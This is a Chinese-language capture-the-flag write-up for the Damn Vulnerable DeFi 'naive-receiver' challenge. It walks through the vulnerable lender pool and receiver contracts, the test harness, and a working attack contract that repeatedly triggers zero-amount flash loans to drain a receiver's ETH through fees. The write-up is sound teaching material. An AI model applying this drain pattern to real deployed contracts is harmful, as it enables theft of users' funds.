naive-receiver
题目链接:https://www.damnvulnerabledefi.xyz/challenges/2.html
题目描述:
有一个余额有 1000eth 的借贷池,提供了昂贵的闪电贷服务(每次执行闪电贷需要付 1eth 的手续费)。有一个用户部署了一个智能合约,余额有 10eth, 并且可以与借贷池交互进行闪电贷操作。你的目标是使用一笔交易将用户智能合约里的 eth 全部取出。
首先看下智能合约的源码
NaiveReceiverLenderPool.sol
借贷池合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// ReentrancyGuard 使用重入锁防重入攻击
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
/**
* @title NaiveReceiverLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract NaiveReceiverLenderPool is ReentrancyGuard {
// 对 address类型 应用 Address 库
using Address for address;
uint256 private constant FIXED_FEE = 1 ether; // 每次闪电贷的手续费
// 获取手续费
function fixedFee() external pure returns (uint256) {
return FIXED_FEE;
}
// 闪电贷方法
function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
// 获取该智能合约的余额
uint256 balanceBefore = address(this).balance;
// 期望借出的数量不大于余额
require(balanceBefore >= borrowAmount, "Not enough ETH in pool");
// 借款人 borrower 只能是合约地址,不能是普通地址
require(borrower.isContract(), "Borrower must be a deployed contract");
// Transfer ETH and handle control to receiver
// 调用借款人 receiveEther 方法
borrower.functionCallWithValue(
abi.encodeWithSignature(
"receiveEther(uint256)",
FIXED_FEE
),
borrowAmount
);
// 最后确保余额是等于之前的余额加上本次闪电贷的手续费
require(
address(this).balance >= balanceBefore + FIXED_FEE,
"Flash loan hasn't been paid back"
);
}
// Allow deposits of ETH
receive () external payable {}
}
该合约首先对 address
类型 应用了 Address
库,使 address
类型的变量可以调用 Address
库中的方法。
之后定义了 每次执行闪电贷的手续费为 1 eth 。
最后提供了闪电贷的方法
-
确保借出的数量是比自身的余额少的
-
通过
isContract
方法确保借出地址是合约地址function isContract(address account) internal view returns (bool) {
return account.code.length > 0;
} -
调用
Address
库 中的functionCallWithValue
方法执行借出者的receiveEther
方法。可以先看下library Address
内部相关方法的实现// target: 目标合约 (也就是borrower) 需要注意的是外部调用库方法时,第一个参数为调用者
// data: 将调用的方法转换成 calldata (调用合约方法底层都是通过calldata进行的)
// value: 发送的金额
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
// 确保余额充足
require(address(this).balance >= value, "Address: insufficient balance for call");
// 确保target是合约地址
require(isContract(target), "Address: call to non-contract");
// 通过 calldata 调用(也就是调用 borrower 内的 receiveEther)
(bool success, bytes memory returndata) = target.call{value: value}(data);
// 验证调用结果
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// 调用未成功且存在返回值的情况
if (returndata.length > 0) {
// 通过内联汇编的加载 返回值并直接 revert
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
// 调用未成功且不存在返回值的情况,直接revert
revert(errorMessage);
}
}
}
接下来看下执行闪电贷的合约 FlashLoanReceiver.sol
余额有 10eth
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
/**
* @title FlashLoanReceiver
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract FlashLoanReceiver {
using Address for address payable;
// 借贷池地址
address payable private pool;
constructor(address payable poolAddress) {
pool = poolAddress;
}
// 借贷池回调的合约方法
function receiveEther(uint256 fee) public payable {
// 调用该方法的必须是 pool 地址
require(msg.sender == pool, "Sender must be pool");
// 需要归还的数量
uint256 amountToBeRepaid = msg.value + fee;
// 确保余额充足
require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");
// 对借出的钱进行操作(内部通常是套利操作)
_executeActionDuringFlashLoan();
// 返还资金到 pool 地址
pool.sendValue(amountToBeRepaid);
}
// Internal function where the funds received are used
function _executeActionDuringFlashLoan() internal { }
// Allow deposits of ETH
receive () external payable {}
}
最后看下单元测试的文件 naive-receiver/naive-receiver.challenge.js
const { ethers } = require('hardhat')
const { expect } = require('chai')
describe('[Challenge] Naive receiver', function () {
let deployer, user, attacker
// Pool has 1000 ETH in balance
const ETHER_IN_POOL = ethers.utils.parseEther('1000')
// Receiver has 10 ETH in balance
const ETHER_IN_RECEIVER = ethers.utils.parseEther('10')
before(async function () {
// 创建了三个账号
;[deployer, user, attacker] = await ethers.getSigners()
const LenderPoolFactory = await ethers.getContractFactory(
'NaiveReceiverLenderPool',
deployer
)
const FlashLoanReceiverFactory = await ethers.getContractFactory(
'FlashLoanReceiver',
deployer
)
this.pool = await LenderPoolFactory.deploy()
// deployer 向 pool 地址发送了 1000 个eth
await deployer.sendTransaction({
to: this.pool.address,
value: ETHER_IN_POOL
})
// 确保转账成功
expect(await ethers.provider.getBalance(this.pool.address)).to.be.equal(
ETHER_IN_POOL
)
// 确保能获取到余额
expect(await this.pool.fixedFee()).to.be.equal(ethers.utils.parseEther('1'))
this.receiver = await FlashLoanReceiverFactory.deploy(this.pool.address)
// 向 receiver 发送了 10 个eth
await deployer.sendTransaction({
to: this.receiver.address,
value: ETHER_IN_RECEIVER
})
// 确保转账成功
expect(await ethers.provider.getBalance(this.receiver.address)).to.be.equal(
ETHER_IN_RECEIVER
)
})
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
})
after(async function () {
/** SUCCESS CONDITIONS */
// All ETH has been drained from the receiver
expect(
// receive 余额为0
await ethers.provider.getBalance(this.receiver.address)
).to.be.equal('0')
expect(
// pool 余额为 1000 + 10
await ethers.provider.getBalance(this.pool.address)
).to.be.equal(ETHER_IN_POOL.add(ETHER_IN_RECEIVER))
})
})
该测试用例在部署了借贷池合约和执行闪电贷的合约后,分别向其中转入了 1000 eth 和 10eth。在我们的攻击代码执行过后,最后的期望结果是 执行闪电贷的合约 最终余额为 0,而借贷池合约最终的余额为 1010。
本题的关键在于执行闪电贷需要付 1eth 的手续费。如果我们每次都借 0 个,借 10 次,那么 10 次过后,执行闪电贷的合约的余额必然为 0。然而题目要求的是进行一笔交易,而非 10 次。所以可以尝试写一个智能合约,在智能合约的方法中内部循环 10 次调用闪电贷方法。
NaiveReceiverAttack.sol
pragma solidity ^0.8.0;
import "../naive-receiver/FlashLoanReceiver.sol";
import "../naive-receiver/NaiveReceiverLenderPool.sol";
contract NaiveReceiverAttack {
NaiveReceiverLenderPool public pool;
FlashLoanReceiver public receiver;
// 初始化设置借贷池合约和执行闪电贷的合约。
constructor (address payable _pool, address payable _receiver) {
pool = NaiveReceiverLenderPool(_pool);
receiver = FlashLoanReceiver(_receiver);
}
// 攻击方法: 只要发现 receiver 中有余额够付手续费就进行闪电贷操作
function attack () external {
// 获取手续费的值
uint fee = pool.fixedFee();
while (address(receiver).balance >= fee) {
pool.flashLoan(address(receiver), 0);
}
}
}
最后在测试文件中部署我们的攻击合约
it('Exploit', async function () {
const AttackFactory = await ethers.getContractFactory(
'NaiveReceiverAttack',
deployer
)
this.attacker = await AttackFactory.deploy(
this.pool.address,
this.receiver.address
)
// 执行攻击方法
await this.attacker.attack()
})
最后运行 yarn naive-receiver
测试通过